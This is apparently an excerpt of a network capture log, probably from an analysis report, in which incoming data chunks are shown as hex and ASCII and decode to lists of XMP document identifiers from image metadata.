2022-07-21 02:34:45 UTC	6431	IN	Data Raw: 44 32 46 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 45 31 41 31 34 30 31 30 37 32 33 36 38 31 31 42 44 33 35 39 32 31 36 34 43 37 30 37 30 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 45 33 37 31 43 45 35 41 36 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 45 34 34 33 34 34 31 30 43 32 30 36 38 31 31 39 31 30 39 38 35 41 32 34 42 30 41 41 37 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 45 34 35 46 33 34 38 46 34 32 33 36 38 31 31 38 37 31 46 38 32 45 44 33 42 38 35 42 36 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: D2F0C</rdf:li> <rdf:li>xmp.did:2E1A140107236811BD3592164C70701D</rdf:li> <rdf:li>xmp.did:2E371CE5A6226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:2E4434410C206811910985A24B0AA78C</rdf:li> <rdf:li>xmp.did:2E45F348F4236811871F82ED3B85B64A</rdf:li> <rdf:li>
2022-07-21 02:34:45 UTC	6447	IN	Data Raw: 37 37 31 44 31 42 33 45 30 31 31 41 35 43 30 42 37 44 44 45 44 45 31 45 44 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 41 46 44 42 30 34 38 32 32 32 30 36 38 31 31 39 34 35 37 42 44 42 46 46 34 35 33 42 44 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 42 34 34 43 31 30 33 30 43 32 30 36 38 31 31 39 31 30 39 44 38 41 41 44 43 43 33 33 41 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 42 36 44 32 32 32 32 38 33 39 30 31 31 44 46 42 43 34 43 44 34 41 33 32 38 39 31 44 42 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 42 36 44 32 44 38 32 33 30 32 30 36 38 31 31 39 34 45 32 44 31 34 38 39 44 31 37 Data Ascii: 771D1B3E011A5C0B7DDEDE1ED2A</rdf:li> <rdf:li>xmp.did:3AFDB048222068119457BDBFF453BDAB</rdf:li> <rdf:li>xmp.did:3B44C1030C2068119109D8AADCC33AE2</rdf:li> <rdf:li>xmp.did:3B6D2222839011DFBC4CD4A32891DB81</rdf:li> <rdf:li>xmp.did:3B6D2D823020681194E2D1489D17
2022-07-21 02:34:45 UTC	6463	IN	Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 39 39 41 36 30 37 41 35 31 44 42 44 46 31 31 39 43 45 36 43 33 45 34 34 42 38 34 43 30 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 39 41 37 39 43 34 38 37 42 46 30 45 30 31 31 38 35 45 35 46 31 38 46 30 43 41 42 45 36 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 39 43 32 30 32 31 44 42 42 42 31 44 46 31 31 42 38 38 38 44 30 46 30 36 39 34 31 32 39 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 39 43 46 42 34 33 39 36 34 35 46 45 30 31 31 41 35 45 32 39 33 38 45 31 34 34 45 32 33 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 Data Ascii: f:li> <rdf:li>xmp.did:499A607A51DBDF119CE6C3E44B84C0EB</rdf:li> <rdf:li>xmp.did:49A79C487BF0E01185E5F18F0CABE60B</rdf:li> <rdf:li>xmp.did:49C2021DBBB1DF11B888D0F06941290A</rdf:li> <rdf:li>xmp.did:49CFB439645FE011A5E2938E144E233D</rdf:li> <rdf:li>xmp.did:4
2022-07-21 02:34:45 UTC	6471	IN	Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 41 45 36 43 41 41 31 34 38 39 45 31 31 31 38 43 38 34 38 32 41 41 32 46 30 39 44 36 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 41 46 34 42 34 30 33 41 32 33 36 38 31 31 38 37 31 46 38 39 34 44 38 46 42 33 35 42 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 43 31 39 34 38 41 38 45 46 35 44 46 31 31 38 43 38 42 39 45 44 42 30 32 31 41 43 31 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 43 41 46 33 37 42 30 44 32 30 36 38 31 31 38 43 31 34 43 45 38 32 30 32 31 46 38 30 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 Data Ascii: f:li> <rdf:li>xmp.did:51AE6CAA1489E1118C8482AA2F09D633</rdf:li> <rdf:li>xmp.did:51AF4B403A236811871F894D8FB35BFB</rdf:li> <rdf:li>xmp.did:51C1948A8EF5DF118C8B9EDB021AC112</rdf:li> <rdf:li>xmp.did:51CAF37B0D2068118C14CE82021F805D</rdf:li> <rdf:li>xmp.did:5
2022-07-21 02:34:45 UTC	6487	IN	Data Raw: 36 31 32 36 45 32 43 46 33 39 41 41 45 31 31 31 39 39 35 36 39 39 38 33 44 32 42 41 44 44 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 31 33 34 42 46 31 38 33 35 32 30 36 38 31 31 39 31 30 39 39 44 35 46 42 37 32 39 43 35 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 31 33 41 35 33 35 30 36 32 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 31 35 32 43 35 42 44 31 30 32 31 36 38 31 31 39 39 34 43 46 37 39 44 30 32 34 46 43 35 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 31 35 35 42 34 42 31 46 39 30 45 31 31 44 46 42 35 32 42 42 46 45 Data Ascii: 6126E2CF39AAE11199569983D2BADD61</rdf:li> <rdf:li>xmp.did:6134BF183520681191099D5FB729C5C6</rdf:li> <rdf:li>xmp.did:613A535062226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:6152C5BD10216811994CF79D024FC5AB</rdf:li> <rdf:li>xmp.did:6155B4B1F90E11DFB52BBFE
2022-07-21 02:34:45 UTC	6503	IN	Data Raw: 61 31 2d 31 32 38 30 2d 36 64 34 64 2d 61 61 39 65 2d 65 64 65 39 39 37 64 34 64 32 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 30 30 34 45 42 46 46 33 39 32 30 36 38 31 31 39 31 30 39 46 43 43 45 30 32 44 34 43 46 31 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 30 32 37 38 44 44 42 39 34 38 37 31 31 45 30 41 39 45 31 43 30 34 41 42 34 46 35 30 30 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 30 33 37 63 34 39 35 2d 30 38 34 66 2d 62 35 34 30 2d 62 33 64 36 2d 37 37 36 34 37 33 38 61 31 31 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 30 34 41 32 36 32 43 32 44 35 34 31 31 45 31 39 37 44 30 45 Data Ascii: a1-1280-6d4d-aa9e-ede997d4d244</rdf:li> <rdf:li>xmp.did:7004EBFF392068119109FCCE02D4CF1A</rdf:li> <rdf:li>xmp.did:70278DDB948711E0A9E1C04AB4F50020</rdf:li> <rdf:li>xmp.did:7037c495-084f-b540-b3d6-7764738a1166</rdf:li> <rdf:li>xmp.did:704A262C2D5411E197D0E
2022-07-21 02:34:45 UTC	6511	IN	Data Raw: 31 33 45 30 31 31 41 34 30 39 41 35 43 37 35 46 43 44 35 43 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 37 31 41 41 45 42 38 39 32 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 37 31 42 34 35 37 36 32 32 32 33 36 38 31 31 41 37 45 30 46 37 41 37 34 46 41 42 34 36 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 37 31 42 45 44 41 37 30 37 32 30 36 38 31 31 41 42 30 38 44 34 44 42 33 44 36 36 32 35 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 37 36 44 42 30 46 39 31 35 32 36 45 33 31 31 38 44 42 33 38 31 45 46 32 43 31 44 38 41 39 33 3c Data Ascii: 13E011A409A5C75FCD5CA4</rdf:li> <rdf:li>xmp.did:771AAEB892226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:771B457622236811A7E0F7A74FAB46E6</rdf:li> <rdf:li>xmp.did:771BEDA707206811AB08D4DB3D6625A9</rdf:li> <rdf:li>xmp.did:776DB0F91526E3118DB381EF2C1D8A93<
2022-07-21 02:34:45 UTC	6527	IN	Data Raw: 42 37 43 44 46 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 36 46 37 46 45 39 39 30 37 32 30 36 38 31 31 39 35 46 45 38 41 37 43 39 38 43 31 33 38 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 36 46 38 37 37 42 38 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 36 46 46 45 43 46 34 46 42 43 35 44 46 31 31 39 41 43 35 43 36 32 36 44 46 45 36 39 45 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 36 61 36 37 33 63 34 2d 32 62 38 65 2d 34 32 62 66 2d 62 35 35 33 2d 32 32 63 32 36 62 37 30 38 31 36 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: B7CDF71</rdf:li> <rdf:li>xmp.did:86F7FE990720681195FE8A7C98C1382D</rdf:li> <rdf:li>xmp.did:86F877B80720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.did:86FFECF4FBC5DF119AC5C626DFE69EF4</rdf:li> <rdf:li>xmp.did:86a673c4-2b8e-42bf-b553-22c26b70816c</rdf:li> <r
2022-07-21 02:34:45 UTC	6543	IN	Data Raw: 31 31 31 45 35 38 45 34 39 45 45 31 35 33 32 44 41 43 34 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 34 39 31 45 37 32 41 34 31 32 30 36 38 31 31 41 42 30 38 41 34 38 30 39 31 46 31 36 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 34 39 39 31 31 34 37 44 34 45 39 45 30 31 31 38 43 37 32 44 32 45 32 41 37 37 41 41 42 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 34 39 43 41 44 45 46 34 35 35 31 45 34 31 31 41 32 35 44 46 39 38 35 37 37 35 45 33 45 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 34 42 41 45 33 34 41 30 43 32 30 36 38 31 31 41 42 30 38 44 34 44 42 33 44 36 36 32 35 41 39 3c 2f Data Ascii: 111E58E49EE1532DAC40C</rdf:li> <rdf:li>xmp.did:9491E72A41206811AB08A48091F1675E</rdf:li> <rdf:li>xmp.did:94991147D4E9E0118C72D2E2A77AAB4D</rdf:li> <rdf:li>xmp.did:949CADEF4551E411A25DF985775E3EAC</rdf:li> <rdf:li>xmp.did:94BAE34A0C206811AB08D4DB3D6625A9</
2022-07-21 02:34:45 UTC	6551	IN	Data Raw: 6d 70 2e 64 69 64 3a 39 43 36 32 42 35 35 41 46 44 37 46 45 35 31 31 39 45 45 44 46 42 32 34 43 43 45 30 37 39 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43 37 39 38 38 41 42 33 37 32 30 36 38 31 31 38 32 32 41 45 38 31 44 43 42 38 45 43 44 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43 39 43 43 34 30 31 32 39 46 43 45 31 31 31 39 42 30 45 38 44 41 33 39 36 41 35 38 34 46 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43 39 43 46 42 41 30 31 31 32 30 36 38 31 31 39 33 30 41 42 37 45 41 33 39 41 38 34 30 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43 41 43 45 43 32 37 33 33 32 30 36 38 31 31 Data Ascii: mp.did:9C62B55AFD7FE5119EEDFB24CCE0799B</rdf:li> <rdf:li>xmp.did:9C7988AB37206811822AE81DCB8ECD93</rdf:li> <rdf:li>xmp.did:9C9CC40129FCE1119B0E8DA396A584F8</rdf:li> <rdf:li>xmp.did:9C9CFBA011206811930AB7EA39A8405C</rdf:li> <rdf:li>xmp.did:9CACEC2733206811
2022-07-21 02:34:45 UTC	6567	IN	Data Raw: 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 31 44 41 44 30 36 45 33 41 32 30 36 38 31 31 39 35 46 45 44 45 38 33 33 36 41 43 43 42 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 31 45 36 44 33 32 35 31 30 32 34 36 38 31 31 41 43 41 46 42 46 45 45 41 36 46 39 30 31 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 32 31 30 38 42 33 39 31 46 32 30 36 38 31 31 38 43 31 34 45 42 34 35 35 31 39 35 43 46 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 32 34 44 45 45 37 42 39 36 32 39 36 38 31 31 38 32 32 41 46 42 45 42 33 36 42 33 44 30 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 32 39 32 36 41 Data Ascii: <rdf:li>xmp.did:B1DAD06E3A20681195FEDE8336ACCB52</rdf:li> <rdf:li>xmp.did:B1E6D32510246811ACAFBFEEA6F90131</rdf:li> <rdf:li>xmp.did:B2108B391F2068118C14EB455195CFAC</rdf:li> <rdf:li>xmp.did:B24DEE7B96296811822AFBEB36B3D090</rdf:li> <rdf:li>xmp.did:B2926A
2022-07-21 02:34:45 UTC	6583	IN	Data Raw: 69 3e 78 6d 70 2e 64 69 64 3a 43 42 30 33 46 32 35 33 43 32 32 30 36 38 31 31 38 43 31 34 45 43 36 39 39 31 34 43 38 35 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 42 30 42 34 41 30 44 39 36 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 42 32 33 35 46 37 32 42 38 42 35 45 33 31 31 39 39 32 44 38 36 45 36 41 32 43 37 34 41 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 42 32 33 36 44 36 46 34 36 32 30 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 42 32 39 42 35 33 34 36 34 32 30 36 Data Ascii: i>xmp.did:CB03F253C22068118C14EC69914C8563</rdf:li> <rdf:li>xmp.did:CB0B4A0D96226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:CB235F72B8B5E311992D86E6A2C74A38</rdf:li> <rdf:li>xmp.did:CB236D6F46206811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:CB29B53464206
2022-07-21 02:34:45 UTC	6590	IN	Data Raw: 64 69 64 3a 44 34 35 41 35 36 41 45 30 33 36 34 45 31 31 31 41 37 38 38 46 38 36 46 36 41 38 42 39 44 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 35 44 36 30 36 31 44 43 44 36 44 46 31 31 41 46 34 46 41 37 42 43 31 37 39 38 37 39 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 36 46 33 46 38 42 32 31 32 30 36 38 31 31 39 37 41 35 42 34 45 37 41 37 35 34 39 35 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 37 34 35 46 30 31 44 38 31 42 45 33 31 31 42 37 46 45 42 35 32 31 44 33 31 35 30 42 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 39 32 41 31 32 37 42 37 39 38 45 30 31 31 42 35 31 Data Ascii: did:D45A56AE0364E111A788F86F6A8B9DDD</rdf:li> <rdf:li>xmp.did:D45D6061DCD6DF11AF4FA7BC17987931</rdf:li> <rdf:li>xmp.did:D46F3F8B2120681197A5B4E7A75495C2</rdf:li> <rdf:li>xmp.did:D4745F01D81BE311B7FEB521D3150B29</rdf:li> <rdf:li>xmp.did:D492A127B798E011B51
2022-07-21 02:34:45 UTC	6606	IN	Data Raw: 39 31 46 31 36 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 42 32 42 32 34 45 44 36 37 30 46 45 31 31 31 41 32 36 31 39 35 41 39 35 31 38 45 34 44 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 42 33 45 39 30 37 31 35 31 42 37 45 32 31 31 42 45 46 38 46 42 35 41 30 45 38 35 43 34 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 42 34 43 30 31 37 41 42 41 43 37 31 31 45 30 42 44 43 42 39 31 33 34 37 33 46 32 33 32 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 42 36 30 31 34 32 31 35 44 46 33 45 30 31 31 39 45 30 45 38 45 36 37 30 38 32 31 31 37 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: 91F1675E</rdf:li> <rdf:li>xmp.did:EB2B24ED670FE111A26195A9518E4D7C</rdf:li> <rdf:li>xmp.did:EB3E907151B7E211BEF8FB5A0E85C46F</rdf:li> <rdf:li>xmp.did:EB4C017ABAC711E0BDCB913473F23267</rdf:li> <rdf:li>xmp.did:EB6014215DF3E0119E0E8E6708211705</rdf:li> <rdf:
2022-07-21 02:34:45 UTC	6622	IN	Data Raw: 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 39 39 32 45 39 42 32 41 46 44 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 45 39 37 44 45 33 38 36 43 46 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 34 35 37 38 38 46 30 39 39 46 32 34 45 44 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 37 36 34 43 36 38 43 46 38 41 31 41 41 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 42 Data Ascii: p.did:F87F11740720681192B0992E9B2AFD0A</rdf:li> <rdf:li>xmp.did:F87F11740720681192B0E97DE386CFF5</rdf:li> <rdf:li>xmp.did:F87F117407206811945788F099F24EDC</rdf:li> <rdf:li>xmp.did:F87F117407206811A764C68CF8A1AA40</rdf:li> <rdf:li>xmp.did:F87F117407206811B
2022-07-21 02:34:45 UTC	6625	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 32 43 38 41 34 32 42 46 32 34 36 38 31 31 38 32 32 41 44 41 42 41 31 35 41 34 36 44 45 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 32 46 35 31 45 37 32 39 32 30 36 38 31 31 41 34 38 32 46 37 45 33 32 32 39 42 31 31 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 35 34 31 42 34 35 32 37 32 34 36 38 31 31 39 39 34 43 41 30 45 36 41 42 31 43 31 35 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 35 42 45 39 33 30 44 46 46 30 31 31 45 30 41 34 39 31 45 33 41 31 38 35 34 33 36 32 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 Data Ascii: </rdf:li> <rdf:li>xmp.did:FA2C8A42BF246811822ADABA15A46DEC</rdf:li> <rdf:li>xmp.did:FA2F51E729206811A482F7E3229B110C</rdf:li> <rdf:li>xmp.did:FA541B4527246811994CA0E6AB1C1578</rdf:li> <rdf:li>xmp.did:FA5BE930DFF011E0A491E3A1854362AE</rdf:li> <rdf:li>xmp.d
2022-07-21 02:34:45 UTC	6641	IN	Data Raw: 64 30 66 30 2d 65 36 65 31 2d 34 64 31 63 2d 61 30 63 37 2d 34 36 31 65 30 66 35 35 38 63 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 32 35 37 37 36 63 36 2d 30 32 34 63 2d 63 65 34 63 2d 62 34 32 31 2d 62 33 31 39 62 36 33 62 61 35 33 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 32 38 35 35 61 64 34 2d 64 63 30 35 2d 34 63 36 32 2d 62 65 35 62 2d 33 31 38 34 38 32 36 61 62 32 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 32 65 30 33 31 66 38 2d 37 33 61 63 2d 34 39 34 30 2d 61 33 37 34 2d 61 63 33 30 37 62 64 61 34 33 36 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 32 65 66 61 33 37 61 2d 39 61 Data Ascii: d0f0-e6e1-4d1c-a0c7-461e0f558c62</rdf:li> <rdf:li>xmp.did:b25776c6-024c-ce4c-b421-b319b63ba53d</rdf:li> <rdf:li>xmp.did:b2855ad4-dc05-4c62-be5b-3184826ab286</rdf:li> <rdf:li>xmp.did:b2e031f8-73ac-4940-a374-ac307bda436c</rdf:li> <rdf:li>xmp.did:b2efa37a-9a
2022-07-21 02:34:45 UTC	6657	IN	Data Raw: 35 39 37 63 39 2d 31 33 36 30 2d 63 33 34 61 2d 38 32 32 65 2d 34 32 38 36 66 64 30 36 38 63 36 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 34 34 64 33 66 65 38 2d 64 36 62 33 2d 35 65 34 31 2d 62 36 35 34 2d 30 61 65 32 64 33 35 61 31 34 31 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 34 35 32 36 62 31 63 2d 63 66 30 32 2d 34 30 63 38 2d 38 36 63 64 2d 63 37 39 38 35 65 63 31 66 33 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 34 35 63 36 63 30 38 2d 33 30 65 32 2d 34 39 33 39 2d 61 65 34 35 2d 39 37 66 33 30 64 64 35 33 65 38 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 34 36 30 32 35 32 38 2d 37 Data Ascii: 597c9-1360-c34a-822e-4286fd068c6c</rdf:li> <rdf:li>xmp.did:e44d3fe8-d6b3-5e41-b654-0ae2d35a141d</rdf:li> <rdf:li>xmp.did:e4526b1c-cf02-40c8-86cd-c7985ec1f3af</rdf:li> <rdf:li>xmp.did:e45c6c08-30e2-4939-ae45-97f30dd53e8e</rdf:li> <rdf:li>xmp.did:e4602528-7
2022-07-21 02:34:45 UTC	6662	IN	Data Raw: 6d 70 2e 64 69 64 3a 66 34 32 63 39 65 39 39 2d 61 66 65 30 2d 39 30 34 31 2d 38 34 61 30 2d 35 63 37 65 37 32 65 32 30 66 62 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 34 35 33 37 62 31 66 2d 64 34 39 37 2d 36 33 34 33 2d 38 62 35 34 2d 35 63 38 62 61 36 30 38 34 32 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 34 37 37 39 32 61 39 2d 35 64 36 30 2d 34 30 39 37 2d 61 34 39 61 2d 65 38 33 64 61 66 32 36 34 39 63 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 34 37 38 33 62 33 65 2d 61 62 32 39 2d 34 32 34 38 2d 38 32 31 64 2d 35 37 61 64 30 38 33 35 30 37 65 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a Data Ascii: mp.did:f42c9e99-afe0-9041-84a0-5c7e72e20fbc</rdf:li> <rdf:li>xmp.did:f4537b1f-d497-6343-8b54-5c8ba6084213</rdf:li> <rdf:li>xmp.did:f47792a9-5d60-4097-a49a-e83daf2649c5</rdf:li> <rdf:li>xmp.did:f4783b3e-ab29-4248-821d-57ad083507e1</rdf:li> <rdf:li>xmp.did:
